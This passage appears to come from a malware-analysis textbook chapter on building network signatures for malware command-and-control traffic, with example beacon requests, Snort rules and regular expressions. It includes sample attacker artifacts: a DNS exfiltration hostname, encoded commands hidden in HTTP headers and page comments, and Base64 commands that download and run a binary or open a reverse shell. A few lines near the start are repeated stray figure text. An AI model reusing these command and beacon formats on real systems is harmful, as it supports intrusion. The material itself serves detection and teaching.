the underlying code may have been overly aggressive. While we don’t know 
exactly what the code is doing to produce the listed results, we can now make 
a better guess. Dynamically generating additional samples allows an analyst 
to make more informed assumptions about the underlying code.

Recall that malware can use system information as an input to what it 
sends out. Thus, it’s helpful to have at least two systems generating sample 
traffic to prevent false assumptions about whether some part of a beacon is 
static. The content may be static for a particular host, but may vary from host 
to host.

For example, let’s assume that we run the malware multiple times on a 
single host and get the following results:

Assuming that we didn’t have any live traffic to cross-check with, we 
might mistakenly write a rule to detect this single User-Agent. However, 
the next host to run the malware might produce this:

When writing signatures, it is important to identify variable elements of 
the targeted content so that they are not mistakenly included in the signa-
ture. Content that is different on every trial run typically indicates that the 
source of the data has some random seed. Content that is static for a partic-
ular host but varies with different hosts suggests that the content is derived 
from some host attribute. In some lucky cases, content derived from a host 
attribute may be sufficiently predictable to justify inclusion in a network 
signature.

Combining Dynamic and Static Analysis Techniques

So far, we have been using either existing data or output from dynamic anal-
ysis to inform the generation of our signatures. While such measures are 
expedient and generate information quickly, they sometimes fail to identify 
the deeper characteristics of the malware that can lead to more accurate and 
longer-lasting signatures.

In general, there are two objectives of deeper analysis:

Full coverage of functionality
The first step is increasing the coverage of code using dynamic analysis. 
This process is described in Chapter 3, and typically involves providing 

Wefd95 Wefd95 Wefd95

Wefd95 Wefd95 Wefd95

Wefd95 Wefd95 Wefd95

Wefd95 Wefd95 Wefd95

We9753 We9753 We9753

We9753 We9753 We9753

We9753 We9753 We9753

We9753 We9753 We9753
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new inputs so that the code continues down unused paths, in order to 
determine what the malware is expecting to receive. This is typically 
done with a tool like INetSim or with custom scripts. The process can 
be guided either by actual malware traffic or by static analysis.

Understanding functionality, including inputs and outputs
Static analysis can be used to see where and how content is generated, 
and to predict the behavior of malware. Dynamic analysis can then be 
used to confirm the expected behavior predicted by static analysis.

The Danger of Overanalysis
If the goal of malware analysis is to develop effective network indicators, 
then you don’t need to understand every block of code. But how do you 
know whether you have a sufficient understanding of the functionality of 
a piece of malware? Table 14-4 proposes a hierarchy of analysis levels.

The minimum level of analysis is a general understanding of the meth-
ods associated with network communication. However, to develop powerful 
network indicators, the analyst must reach a level between an understanding 
of all the communication methods used and the ability to replicate opera-
tional capability.

Operational replication is the ability to create a tool that closely mimics the 
one the attacker has created to operate the malware remotely. For example, 
if the malware operates as a client, then the malware server software would 
be a server that listens for connections and provides a console, which the 
analyst can use to tickle every function that the malware can perform, just 
as the malware creator would.

Effective and robust signatures can differentiate between regular traffic 
and the traffic associated with malware, which is a challenge, since malware 
authors are continually evolving their malware to blend effectively with nor-
mal traffic. Before we tackle the mechanics of analysis, we’ll discuss the his-
tory of malware and how camouflage strategies have changed.

Hiding in Plain Sight
Evading detection is one of the primary objectives of someone operating a 
backdoor, since being detected results in both the loss of the attacker’s 
access to an existing victim and an increased risk of future detection. 

Table 14-4: Malware Analysis Levels

Analysis level Description

Surface analysis An analysis of initial indicators, equivalent to sandbox output

Communication method 
coverage

An understanding of the code for each type of communication 
technique

Operational replication The ability to create a tool that allows for full operation of the 
malware (a server-based controller, for example)

Code coverage An understanding of every block of code
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Malware has evolved to evade detection by trying to blend in with the back-
ground, using the following techniques.

Attackers Mimic Existing Protocols

One way attackers blend in with the background is to use the most popular 
communication protocols, so that their malicious activity is more likely to get 
lost in the crowd. When Internet Relay Chat (IRC) was popular in the 1990s, 
attackers used it extensively, but as legitimate IRC traffic decreased, defend-
ers began watching IRC traffic carefully, and attackers had a harder time 
blending in.

Since HTTP, HTTPS, and DNS are today’s most extensively used proto-
cols on the Internet, attackers primarily use these protocols. These protocols 
are not as closely watched, because it’s extremely difficult to monitor such a 
large amount of traffic. Also, they are much less likely to be blocked, due to 
the potential consequences of accidentally blocking a lot of normal traffic.

Attackers blend in by using popular protocols in a way similar to legiti-
mate traffic. For example, attackers often use HTTP for beaconing, since 
the beacon is basically a request for further instructions, like the HTTP GET 
request, and they use HTTPS encryption to hide the nature and intent of the 
communications.

However, attackers also abuse standard protocols in order to achieve 
command-and-control objectives. For example, although DNS was intended 
to provide quick, short exchanges of information, some attackers tunnel 
longer streams of information over DNS by encoding the information and 
embedding it in fields that have a different intended purpose. A DNS name 
can be manufactured based on the data the attacker wishes to pass. Malware 
attempting to pass a user’s secret password could perform a DNS request for 
the domain www.thepasswordisflapjack.maliciousdomain.com.

Attackers can also abuse the HTTP standard. The GET method is intended 
for requesting information, and the POST method is intended for sending 
information. Since it’s intended for requests, the GET method provides a 
limited amount of space for data (typically around 2KB). Spyware regularly 
includes instructions on what it wants to collect in the URI path or query of 
an HTTP GET, rather than in the body of the message. Similarly, in a piece of 
malware observed by the authors, all information from the infected host was 
embedded in the User-Agent fields of multiple HTTP GET requests. The fol-
lowing two GET requests show what the malware produced to send back a 
command prompt followed by a directory listing:

GET /world.html HTTP/1.1
User-Agent: %^&NQvtmw3eVhTfEBnzVw/aniIqQB6qQgTvmxJzVhjqJMjcHtEhI97n9+yy+duq+h3
b0RFzThrfE9AkK9OYIt6bIM7JUQJdViJaTx+q+h3dm8jJ8qfG+ezm/C3tnQgvVx/eECBZT87NTR/fU
QkxmgcGLq
Cache-Control: no-cache

GET /world.html HTTP/1.1
User-Agent: %^&EBTaVDPYTM7zVs7umwvhTM79ECrrmd7ZVd7XSQFvV8jJ8s7QVhcgVQOqOhPdUQB
XEAkgVQFvms7zmd6bJtSfHNSdJNEJ8qfGEA/zmwPtnC3d0M7aTs79KvcAVhJgVQPZnDIqSQkuEBJvn
D/zVwneRAyJ8qfGIN6aIt6aIt6cI86qI9mlIe+q+OfqE86qLA/FOtjqE86qE86qE86qHqfGIN6aIt6
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aIt6cI86qI9mlIe+q+OfqE86qLA/FOtjqE86qE86qE86qHsjJ8tAbHeEbHeEbIN6qE96jKt6kEABJE
86qE9cAMPE4E86qE86qE86qEA/vmhYfVi6J8t6dHe6cHeEbI9uqE96jKtEkEABJE86qE9cAMPE4E86
qE86qE86qEATrnw3dUR/vmbfGIN6aINAaIt6cI86qI9ulJNmq+OfqE86qLA/FOtjqE86qE86qE86qN
Ruq/C3tnQgvVx/e9+ybIM2eIM2dI96kE86cINygK87+NM6qE862/AvMLs6qE86qE86qE87NnCBdn87
JTQkg9+yqE86qE86qE86qE86qE86bEATzVCOymduqE86qE86qE86qE86qE96qSxvfTRIJ8s6qE86qE
86qE86qE86qE9Sq/CvdGDIzE86qK8bgIeEXItObH9SdJ87s0R/vmd7wmwPv9+yJ8uIlRA/aSiPYTQk
fmd7rVw+qOhPfnCvZTiJmMtj
Cache-Control: no-cache

Attackers tunnel malicious communications by misusing fields in a 
protocol to avoid detection. Although the sample command traffic looks 
unusual to a trained eye, the attackers are betting that by hiding their con-
tent in an unusual place, they may be able to bypass scrutiny. If defenders 
search the contents of the body of the HTTP session in our sample, for 
example, they won’t see any traffic.

Malware authors have evolved their techniques over time to make mal-
ware look more and more realistic. This evolution is especially apparent in 
the way that malware has treated one common HTTP field: the User-Agent. 
When malware first started mimicking web requests, it disguised its traffic as 
a web browser. This User-Agent field is generally fixed based on the browser 
and various installed components. Here’s a sample User-Agent string from a 
Windows host:

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; 
.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)

The first generation of malware that mimicked the web browser used 
completely manufactured User-Agent strings. Consequently, this malware 
was easily detectable by the User-Agent field alone. The next generation of 
malware included measures to ensure that its User-Agent string used a field 
that was common in real network traffic. While that made the attacker blend 
in better, network defenders could still use a static User-Agent field to create 
effective signatures.

Here is an example of a generic but popular User-Agent string that mal-
ware might employ:

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

In the next stage, malware introduced a multiple-choice scheme. The mal-
ware would include several User-Agent fields—all commonly used by normal 
traffic—and it would switch between them to evade detection. For example, 
malware might include the following User-Agent strings:

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)

The latest User-Agent technique uses a native library call that constructs 
requests with the same code that the browser uses. With this technique, the 
User-Agent string from the malware (and most other aspects of the request 
as well) is indistinguishable from the User-Agent string from the browser.
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Attackers Use Existing Infrastructure

Attackers leverage existing legitimate resources to cloak malware. If the only 
purpose of a server is to service malware requests, it will be more vulnerable 
to detection than a server that’s also used for legitimate purposes.

The attacker may simply use a server that has many different purposes. 
The legitimate uses will obscure the malicious uses, since investigation of the 
IP address will also reveal the legitimate uses.

A more sophisticated approach is to embed commands for the malware 
in a legitimate web page. Here are the first few lines of a sample page that 
has been repurposed by an attacker:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/
TR/xhtml1/DTD/xhtml1-strict.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> 
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>  Roaring Capital | Seed Stage Venture Capital Fund in Chicago</title> 
<meta property="og:title" content="  Roaring Capital | Seed Stage Venture 
Capital Fund in Chicago"/> 
<meta property="og:site_name" content="Roaring Capital"/>
<!--  -->
<!-- adsrv?bG9uZ3NsZWVw --> 
<!--<script type="text/javascript" src="/js/dotastic.custom.js"></script>--> 
<!-- OH --> 

The third line from the bottom is actually an encoded command to mal-
ware to sleep for a long time before checking back. (The Base64 decoding of 
bG9uZ3NsZWVw is longsleep.) The malware reads this command and calls a sleep 
command to sleep the malware process. From a defender’s point of view, it is 
extremely difficult to tell the difference between a valid request for a real 
web page and malware making the same request but interpreting some part 
of the web page as a command.

Leveraging Client-Initiated Beaconing

One trend in network design is the increased use of Network Address Trans-
lation (NAT) and proxy solutions, which disguise the host making outbound 
requests. All requests look like they are coming from the proxy IP address 
instead. Attackers waiting for requests from malware likewise have difficulty 
identifying which (infected) host is communicating.

One very common malware technique is to construct a profile of the 
victim machine and pass that unique identifier in its beacon. This tells the 
attacker which machine is attempting to initiate communication before 
the communication handshake is completed. This unique identification 
of the victim host can take many forms, including an encoded string that 
represents basic information about the host or a hash of unique host infor-
mation. A defender armed with the knowledge of how the malware identi-
fies distinct hosts can use that information to identify and track infected 
machines.
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Understanding Surrounding Code
There are two types of networking activities: sending data and receiving data. 
Analyzing outgoing data is usually easier, since the malware produces conve-
nient samples for analysis whenever it runs.

We’ll look at two malware samples in this section. The first one is creating 
and sending out a beacon, and the other gets commands from an infected 
website.

The following are excerpts from the traffic logs for a hypothetical piece 
of malware’s activities on the live network. In these traffic logs, the malware 
appears to make the following GET request:

GET /1011961917758115116101584810210210256565356 HTTP/1.1
Accept: * / *
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: www.badsite.com
Connection: Keep-Alive
Cache-Control: no-cache

Running the malware in our lab environment (or sandbox), we notice 
the malware makes the following similar request:

GET /14586205865810997108584848485355525551 HTTP/1.1
Accept: * / *
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: www.badsite.com
Connection: Keep-Alive
Cache-Control: no-cache

Using Internet Explorer, we browse to a web page and find that the stan-
dard User-Agent on this test system is as follows:

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; 
.NET CLR 2.0.50727; .NET CLR 3.0.04506.648)

Given the different User-Agent strings, it appears that this malware’s 
User-Agent string is hard-coded. Unfortunately, the malware appears to be 
using a fairly common User-Agent string, which means that trying to create a 
signature on the static User-Agent string alone will likely result in numerous 
false positives. On the positive side, a static User-Agent string can be com-
bined with other elements to create an effective signature.

The next step is to perform dynamic analysis of the malware by running 
the malware a couple more times, as described in the previous section. In 
these trials, the GET requests were the same, except for the URI, which was 
different each time. The overall URI results yield the following:

/1011961917758115116101584810210210256565356 (actual traffic)
/14586205865810997108584848485355525551
/7911554172581099710858484848535654100102
/2332511561845810997108584848485357985255
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It appears as though there might be some common characters in the 
middle of these strings (5848), but the pattern is not easily discernible. Static 
analysis can be used to figure out exactly how the request is being created.

Finding the Networking Code
The first step to evaluating the network communication is to actually find the 
system calls that are used to perform the communication. The most common 
low-level functions are a part of the Windows Sockets (Winsock) API. Mal-
ware using this API will typically use functions such as WSAStartup, getaddrinfo, 
socket, connect, send, recv, and WSAGetLastError.

Malware may alternatively use a higher-lever API called Windows Internet 
(WinINet). Malware using the WinINet API will typically use functions such 
as InternetOpen, InternetConnect, InternetOpenURL, HTTPOpenRequest, HTTPQueryInfo, 
HTTPSendRequest, InternetReadFile, and InternetWriteFile. These higher-level 
APIs allow the malware to more effectively blend in with regular traffic, since 
these are the same APIs used during normal browsing.

Another high-level API that can be used for networking is the Component 
Object Model (COM) interface. Implicit use of COM through functions such 
as URLDownloadToFile is fairly common, but explicit use of COM is still rare. 
Malware using COM explicitly will typically use functions like CoInitialize, 
CoCreateInstance, and Navigate. Explicit use of COM to create and use a 
browser, for example, allows the malware to blend in, since it’s actually 
using the browser software as intended, and also effectively obscures its 
activity and connection with the network traffic. Table 14-5 provides an 
overview of the API calls that malware might make to implement network-
ing functionality.

Returning to our sample malware, its imported functions include 
InternetOpen and HTTPOpenRequest, suggesting that the malware uses the WinINet 
API. When we investigate the parameters to InternetOpen, we see that the 
User-Agent string is hard-coded in the malware. Additionally, HTTPOpenRequest 
takes a parameter that specifies the accepted file types, and we also see that 
this parameter contains hard-coded content. Another HTTPOpenRequest param-
eter is the URI path, and we see that the contents of the URI are generated 
from calls to GetTickCount, Random, and gethostbyname.

Table 14-5: Windows Networking APIs

WinSock API WinINet API COM interface

WSAStartup InternetOpen URLDownloadToFile

getaddrinfo InternetConnect CoInitialize

socket InternetOpenURL CoCreateInstance

connect InternetReadFile Navigate

send InternetWriteFile

recv HTTPOpenRequest

WSAGetLastError HTTPQueryInfo

HTTPSendRequest
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Knowing the Sources of Network Content
The element that is most valuable for signature generation is hard-coded 
data from the malware. Network traffic sent by malware will be constructed 
from a limited set of original sources. Creating an effective signature requires 
knowledge of the origin of each piece of network content. The following are 
the fundamental sources:

 Random data (such as data that is returned from a call to a function that 
produces pseudorandom values)

 Data from standard networking libraries (such as the GET created from a 
call to HTTPSendRequest)

 Hard-coded data from malware (such as a hard-coded User-Agent string)

 Data about the host and its configuration (such as the hostname, the cur-
rent time according to the system clock, and the CPU speed)

 Data received from other sources, such as a remote server or the file sys-
tem (examples are a nonce sent from server for use in encryption, a local 
file, and keystrokes captured by a keystroke logger)

Note that there can be various levels of encoding imposed on this data 
prior to its use in networking, but its fundamental origin determines its use-
fulness for signature generation.

Hard-Coded Data vs. Ephemeral Data
Malware that uses lower-level networking APIs such as Winsock requires 
more manually generated content to mimic common traffic than malware 
that uses a higher-level networking API like the COM interface. More man-
ual content means more hard-coded data, which increases the likelihood 
that the malware author will have made some mistake that you can use to 
generate a signature. The mistakes can be obvious, such as the misspelling of 
Mozilla (Mozila), or more subtle, such as missing spaces or a different use of 
case than is seen in typical traffic (MoZilla).

In the sample malware, a mistake exists in the hard-coded Accept string. 
The string is statically defined as * / *, instead of the usual */*.

Recall that the URI generated from our example malware has the fol-
lowing form:

/14586205865810997108584848485355525551

The URI generation function calls GetTickCount, Random, and gethostbyname, 
and when concatenating strings together, the malware uses the colon (:) 
character. The hard-coded Accept string and the hard-coded colon characters 
are good candidates for inclusion in the signature.

The results from the call to Random should be accounted for in the signa-
ture as though any random value could be returned. The results from the 
calls to GetTickCount and gethostbyname need to be evaluated for inclusion 
based on how static their results are.
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While debugging the content-generation code of the sample malware, 
we see that the function creates a string that is then sent to an encoding func-
tion. The format of the string before it’s sent seems to be the following:

<4 random bytes>:<first three bytes of hostname>:<time from GetTickCount as a hexadecimal number>

It appears that this is a simple encoding function that takes each byte 
and converts it to its ASCII decimal form (for example, the character a 
becomes 97). It is now clear why it was difficult to figure out the URI using 
dynamic analysis, since it uses randomness, host attributes, time, and an 
encoding formula that can change length depending on the character. 
However, with this information and the information from the static analysis, 
we can easily develop an effective regular expression for the URI.

Identifying and Leveraging the Encoding Steps
Identifying the stable or hard-coded content is not always simple, since trans-
formations can occur between the data origin and the network traffic. In this 
example, for instance, the GetTickCount command results are hidden between 
two layers of encoding, first turning the binary DWORD value into an 8-byte hex 
representation, and then translating each of those bytes into its decimal 
ASCII value.

The final regular expression is as follows:

/\/([12]{0,1}[0-9]{1,2}){4}58[0-9]{6,9}58(4[89]|5[0-7]|9[789]|11[012]){8}/

Table 14-6 shows the correspondence between the identified data source 
and the final regular expression using one of the previous examples to illus-
trate the transformation.

Let’s break this down to see how the elements were targeted.
The two fixed colons that separate the three other elements are the pil-

lars of the expression, and these bytes are identified in columns 2 and 4 of 
Table 14-6. Each colon is represented by 58, which is its ASCII decimal repre-
sentation. This is the raw static data that is invaluable to signature creation.

Each of the initial 4 random bytes can ultimately be translated into a dec-
imal number of 0 through 255. The regular expression ([1-9]|1[0-9]|2[0-5])
{0,1}[0-9] covers the number range 0 through 259, and the {4} indicates four 
copies of that pattern. Recall that the square brackets ([ and ]) contain the 
symbols, and the curly brackets ({ and }) contain a number that indicates the 

Table 14-6: Regular Expression Decomposition from Source Content

<4 random bytes> : <first 3 bytes of hostname> : <time from GetTickCount>

0x91, 0x56, 0xCD, 0x56 : "m", "a", "l" : 00057473

0x91, 0x56, 0xCD, 0x56 0x3A 0x6D, 0x61, 0x6C 0x3A 0x30, 0x30, 0x30, 0x35, 0x37, 0x34, 0x37, 0x33

1458620586 58 10997108 58 4848485355525551

(([1-9]|1[0-9]|2[0-5]){0,1}[0-9]){4} 58 [0-9]{6,9} 58 (4[89]|5[0-7]|9[789]|10[012]){8}
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quantity of preceding symbols. In a PCRE, the pipe symbol (|) expresses a 
logical OR, so any one of the terms between the parentheses may be present 
for the expression to match. Also note that, in this case, we chose to expand 
the allowed values slightly to avoid making the regular expression even more 
complicated than it already is.

Knowledge of the processing or encoding steps allows for more than just 
identifying hard-coded or stable elements. The encoding may restrict what 
the malware sends over the wire to specific character sets and field lengths, 
and can therefore be used to focus the signature. For example, even though 
the initial content is random, we know that it is a specific length, and we 
know that the character set and overall length of the final encoding layer 
have restrictions.

The middle term sandwiched between the 58 values of [0-9]{6,9} is the 
first three characters of the hostname field translated into ASCII decimal 
equivalent. This PCRE term matches a decimal string six to nine characters 
long. Because, as a rule, a hostname will not contain single-digit ASCII values 
(0–9), and since those are nonprintable characters, we left the minimum 
bound at 6 (three characters with a minimum length decimal value of 2), 
instead of 3.

It is just as important to focus on avoiding ephemeral elements in your 
signature as it is to include hard-coded data. As observed in the previous 
section on dynamic analysis, the infected system’s hostname may appear 
consistent for that host, but any signature that uses that element will fail 
to trigger for other infected hosts. In this case, we took advantage of the 
length and encoding restrictions, but not the actual content.

The third part of the expression (4[89]|5[0-7]|9[789]|10[012]){8} covers 
the possible values for the characters that represent the uptime of the system, 
as determined from the call to GetTickCount. The result from the GetTickCount 
command is a DWORD, which is translated into hex, and then into ASCII deci-
mal representations. So if the value of the GetTickCount command were 
268404824 (around three days of uptime), the hex representation would 
be 0x0fff8858. Thus, the numbers are represented by ASCII decimal 48 
through 57, and the lowercase letters (limited to a through f ) are repre-
sented by ASCII decimal 97 through 102. As seen for this term, the count 
of 8 matches the number of hex characters, and the expression containing 
the logical OR covers the appropriate number ranges.

Some sources of data may initially appear to be random, and therefore 
unusable, but a portion of the data may actually be predictable. Time is one 
example of this, since the high-order bits will remain relatively fixed and can 
sometimes provide a stable enough source of data to be useful in a signature.

There is a trade-off between performance and accuracy in the construc-
tion of effective signatures. In this example, regular expressions are one of 
the more expensive tests an IDS uses. A unique fixed-content string can dra-
matically improve content-based searches. This particular example is chal-
lenging because the only fixed content available is the short 58 term.
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There are a few strategies that could be used to create an effective signa-
ture in this case:

 We could combine the URI regular expression with the fixed User-Agent 
string, so that the regular expression would not be used unless the specific 
User-Agent string is present.

 Assuming you want a signature just for the URI, you can target the two 
58 terms with two content expressions and keywords that ensure that 
only a limited number of bytes are searched once the first instance of 
58 is found (content: "58"; content: "58"; distance: 6; within: 5). The 
within keyword limits the number of characters that are searched.

 Because the upper bits of the GetTickCount call are relatively fixed, there is 
an opportunity to combine the upper bits with the neighboring 58. For 
example, in all of our sample runs, the 58 was followed by a 48, represent-
ing a 0 as the most significant digit. Analyzing the times involved, we find 
that the most significant digit will be 48 for the first three days of uptime, 
49 for the next three days, and if we live dangerously and mix different 
content expressions, we can use 584 or 585 as an initial filter to cover 
uptimes for up to a month.

While it’s obviously important to pay attention to the content of malware 
that you observe, it’s also important to identify cases where content should 
exist but does not. A useful type of error that malware authors make, espe-
cially when using low-level APIs, is to forget to include items that will be 
commonly present in regular traffic. The Referer [sic] field, for example, is 
often present in normal web-browsing activity. If not included by malware, 
its absence can be a part of the signature. This can often make the differ-
ence between a signature that is successful and one that results in many 
false positives.

Creating a Signature
The following is the proposed Snort signature for our sample malware, 
which combines many of the different factors we have covered so far: a static 
User-Agent string, an unusual Accept string, an encoded colon (58) in the 
URI, a missing referrer, and a GET request matching the regular expression 
described previously.

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"TROJAN Malicious Beacon "; 
content:"User-Agent: Mozilla/4.0 (compatible\; MSIE 7.0\; Windows NT 5.1)"; 
content:"Accept: * / *"; uricontent:"58"; content:!"|0d0a|referer:"; nocase; 
pcre:"/GET \/([12]{0,1}[0-9]{1,2}){4}58[0-9]{6,9}58(4[89]|5[0-7]|9[789]|10[012]){8} HTTP/"; 
classtype:trojan-activity; sid:2000002; rev:1;)

NOTE Typically, when an analyst first learns how to write network signatures, the focus is on 
creating a signature that works. However, ensuring that the signature is efficient is also 
important. This chapter focuses on identifying elements of a good signature, but we do 
not spend much time on optimizing our example signatures to ensure good performance.
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Analyze the Parsing Routines
We noted earlier that we would look at communication in two directions. So 
far, we have discussed how to analyze the traffic that the malware generates, 
but information in the malware about the traffic that it receives can also be 
used to generate a signature.

As an example, consider a piece of malware that uses the Comment field 
in a web page to retrieve its next command, which is a strategy we discussed 
briefly earlier in this chapter. The malware will make a request for a web page 
at a site the attacker has compromised and search for the hidden message 
embedded in the web page. Assume that in addition to the malware, we also 
have some network traffic showing the web server responses to the malware.

When comparing the strings in the malware and the web page, we see 
that there is a common term in both: adsrv?. The web page that is returned 
has a single line that looks like this:

<!—- adsrv?bG9uZ3NsZWVw -->

This is a fairly innocuous comment within a web page, and is unlikely to 
attract much attention by itself. It might be tempting to create a network sig-
nature based on the observed traffic, but doing so would result in an incom-
plete solution. First, two questions must be answered:

 What other commands might the malware understand?

 How does the malware identify that the web page contains a command?

As we have already seen, the adsrv? string appears in the malware, and it 
would be an excellent signature element. We can strengthen the signature by 
adding other elements.

To find potential additional elements, we first look for the networking 
routine where the page is received, and see that a function that’s called 
receives input. This is probably the parsing function.

Figure 14-3 shows an IDA Pro graph of a sample parsing routine that 
looks for a Comment field in a web page. The design is typical of a custom 
parsing function, which is often used in malware instead of something like a 
regular expression library. Custom parsing routines are generally organized 
as a cascading pattern of tests for the initial characters. Each small test block 
will have one line cascading to the next block, and another line going to a 
failure block, which contains the option to loop back to the start.

The line forming the upper loop on the left of Figure 14-3 shows that the 
current line failed the test and the next line will be tried. This sample func-
tion has a double cascade and loop structure, and the second cascade looks 
for the characters that close the Comment field. The individual blocks in the 
cascade show the characters that the function is seeking. In this case, those 
characters are <!-- in the first loop and --> in the second. In the block 
between the cascades, there is a function call that tests the contents that 
come after the <!--. Thus, the command will be processed only if the con-
tents in the middle match the internal function and both sides of the com-
ment enclosure are intact.
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Figure 14-3: An IDA Pro graph of a sample parsing function

When we dig deeper into the internal parsing function, we find that it 
first checks that the adsrv? string is present. The attacker places a command 
for the malware between the question mark and the comment closure, and 
performs a simple Base64 conversion of the command to provide rudimen-
tary obfuscation. The parsing function does the Base64 conversion, but it 
does not interpret the resulting command. The command analysis is per-
formed later on in the code once parsing is complete.

The malware accepts five commands: three that tell the malware to sleep 
for different lengths of time, and two that allow the attacker to conduct the 
next stage of attack. Table 14-7 shows sample commands that the malware 
might receive, along with the Base64 translations.

Check for
trailing

characters

Check initial
characters

in line

Failed line,
proceed to

next line

Table 14-7: Sample Malware Commands

Command example Base64 translation Operation

longsleep bG9uZ3NsZWVw Sleep for 1 hour

superlongsleep c3VwZXJsb25nc2xlZXA= Sleep for 24 hours

shortsleep c2hvcnRzbGVlcA== Sleep for 1 minute

run:www.example.com/fast.exe cnVuOnd3dy5leGFtcGxlLmNvbS9mYXN0LmV4ZQ== Download and execute a binary 
on the local system

connect:www.example.com:80 Y29ubmVjdDp3d3cuZXhhbXBsZS5jb206ODA= Use a custom protocol to establish 
a reverse shell
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One approach to creating signatures for this backdoor is to target the 
full set of commands known to be used by the malware (including the sur-
rounding context). Content expressions for the five commands recognized 
by the malware would contain the following strings:

<!-- adsrv?bG9uZ3NsZWVw -->
<!-- adsrv?c3VwZXJsb25nc2xlZXA= -->
<!-- adsrv?c2hvcnRzbGVlcA== -->
<!-- adsrv?cnVu
<!-- adsrv?Y29ubmVj

The last two expressions target only the static part of the commands (run 
and connect), and since the length of the argument is not known, they do not 
target the trailing comment characters (-->).

While signatures that use all of these elements will likely find this precise 
piece of malware, there is a risk of being too specific at the expense of robust-
ness. If the attacker changes any part of the malware—the command set, the 
encoding, or the command prefix—a very precise signature will cease to be 
effective.

Targeting Multiple Elements
Previously, we saw that different parts of the command interpretation were in 
different parts of the code. Given that knowledge, we can create different sig-
natures to target the various elements separately.

The three elements that appear to be in distinct functions are comment 
bracketing, the fixed adsrv? with a Base64 expression following, and the actual 
command parsing. Based on these three elements, a set of signature elements 
could include the following (for brevity, only the primary elements of each 
signature are included, with each line representing a different signature).

pcre:"/<!-- adsrv\?([a-zA-Z0-9+\/=]{4})+ -->/"
content:"<!-- "; content:"bG9uZ3NsZWVw -->"; within:100;
content:"<!-- "; content:"c3VwZXJsb25nc2xlZXA= -->"; within:100;
content:"<!-- "; content:"c2hvcnRzbGVlcA== -->"; within:100;
content:"<!-- "; content:"cnVu";within:100;content: "-->"; within:100;
content:"<!-- "; content:"Y29ubmVj"; within:100; content:"-->"; within:100;

These signatures target the three different elements that make up a 
command being sent to the malware. All include the comment bracketing. 
The first signature targets the command prefix adsrv? followed by a generic 
Base64-encoded command. The rest of the signatures target a known Base64-
encoded command without any dependency on a command prefix.

Since we know the parsing occurs in a separate section of the code, it 
makes sense to target it independently. If the attacker changes one part of 
the code or the other, our signatures will still detect the unchanged part.

Note that we are still making assumptions. The new signatures may be 
more prone to false positives. We are also assuming that the attacker will 
most likely continue to use comment bracketing, since comment bracketing 
is a part of regular web communications and is unlikely to be considered 
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suspicious. Nevertheless, this strategy provides more robust coverage than 
our initial attempt and is more likely to detect future variants of the malware.

Let’s revisit the signature we created earlier for beacon traffic. Recall 
that we combined every possible element into the same signature:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"TROJAN Malicious Beacon "; 
content:"User-Agent: Mozilla/4.0 (compatible\; MSIE 7.0\; Windows NT 5.1)"; 
content:"Accept: * / *"; uricontent:"58"; content:!"|0d0a|referer:"; nocase; 
pcre:"/GET \/([12]{0,1}[0-9]{1,2}){4}58[0-9]{6,9}58(4[89]|5[0-7]|9[789]|10 [012]){8} HTTP/";
classtype:trojan-activity; sid:2000002; rev:1;)

This signature has a limited scope and would become useless if the 
attacker made any changes to the malware. A way to address different ele-
ments individually and avoid rapid obsolescence is with these two targets:

 Target 1: User-Agent string, Accept string, no referrer

 Target 2: Specific URI, no referrer

This strategy would yield two signatures:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"TROJAN Malicious Beacon UA with 
Accept Anomaly"; content:"User-Agent: Mozilla/4.0 (compatible\; MSIE 7.0\; Windows NT 5.1)"; 
content:"Accept: * / *"; content:!"|0d0a|referer:"; nocase; classtype:trojan-activity; 
sid:2000004; rev:1;)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"TROJAN Malicious Beacon URI"; 
uricontent:"58"; content:!"|0d0a|referer:"; nocase; pcre:
"/GET \/([12]{0,1}[0-9]{1,2}){4}58[0-9]{6,9}58(4[89]|5[0-7]|9[789]|10[012]){8} HTTP/";
classtype:trojan-activity; sid:2000005; rev:1;)

Understanding the Attacker’s Perspective

When designing a signature strategy, it’s wise to try to understand the 
attacker’s perspective. Attackers are playing a constant game of cat-and-
mouse. Their intent is to blend in with regular traffic to avoid detection 
and maintain successful ongoing operations. Like any software developers, 
attackers struggle to update software, to remain current and compatible 
with changing systems. Any changes that are necessary should be minimal, 
as large changes can threaten the integrity of their systems.

As previously discussed, using multiple signatures that target different 
parts of the malicious code makes detection more resilient to attacker modi-
fications. Often, attackers will change their software slightly to avoid detec-
tion by a specific signature. By creating multiple signatures that key off of 
different aspects of the communication, you can still successfully detect the 
malware, even if the attacker has updated a portion of the code.

Here are three additional rules of thumb that you can use to take advan-
tage of attacker weaknesses:

Focus on elements of the protocol that are part of both end points.
Changing either the client code or the server code alone is much easier 
than changing both. Look for elements of the protocol that use code at 
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both the client and server side, and create a signature based on these ele-
ments. The attacker will need to do a lot of extra work to render such a 
signature obsolete.

Focus on any elements of the protocol known to be part of a key.
Often, some hard-coded components of a protocol are used as a key. For 
example, an attacker may use a specific User-Agent string as an authen-
tication key so that illegitimate probing can be detected (and possibly 
rerouted). In order for an attacker to bypass such a signature, he would 
need to change code at both end points.

Identify elements of the protocol that are not immediately apparent in traffic.
Sometimes, the simultaneous actions of multiple defenders can impede 
the detection of malware. If another defender creates a signature that 
achieves sufficient success against an attacker, the attacker may be com-
pelled to adjust his malware to avoid the signature. If you are relying on 
the same signature, or a signature that targets the same aspects of the 
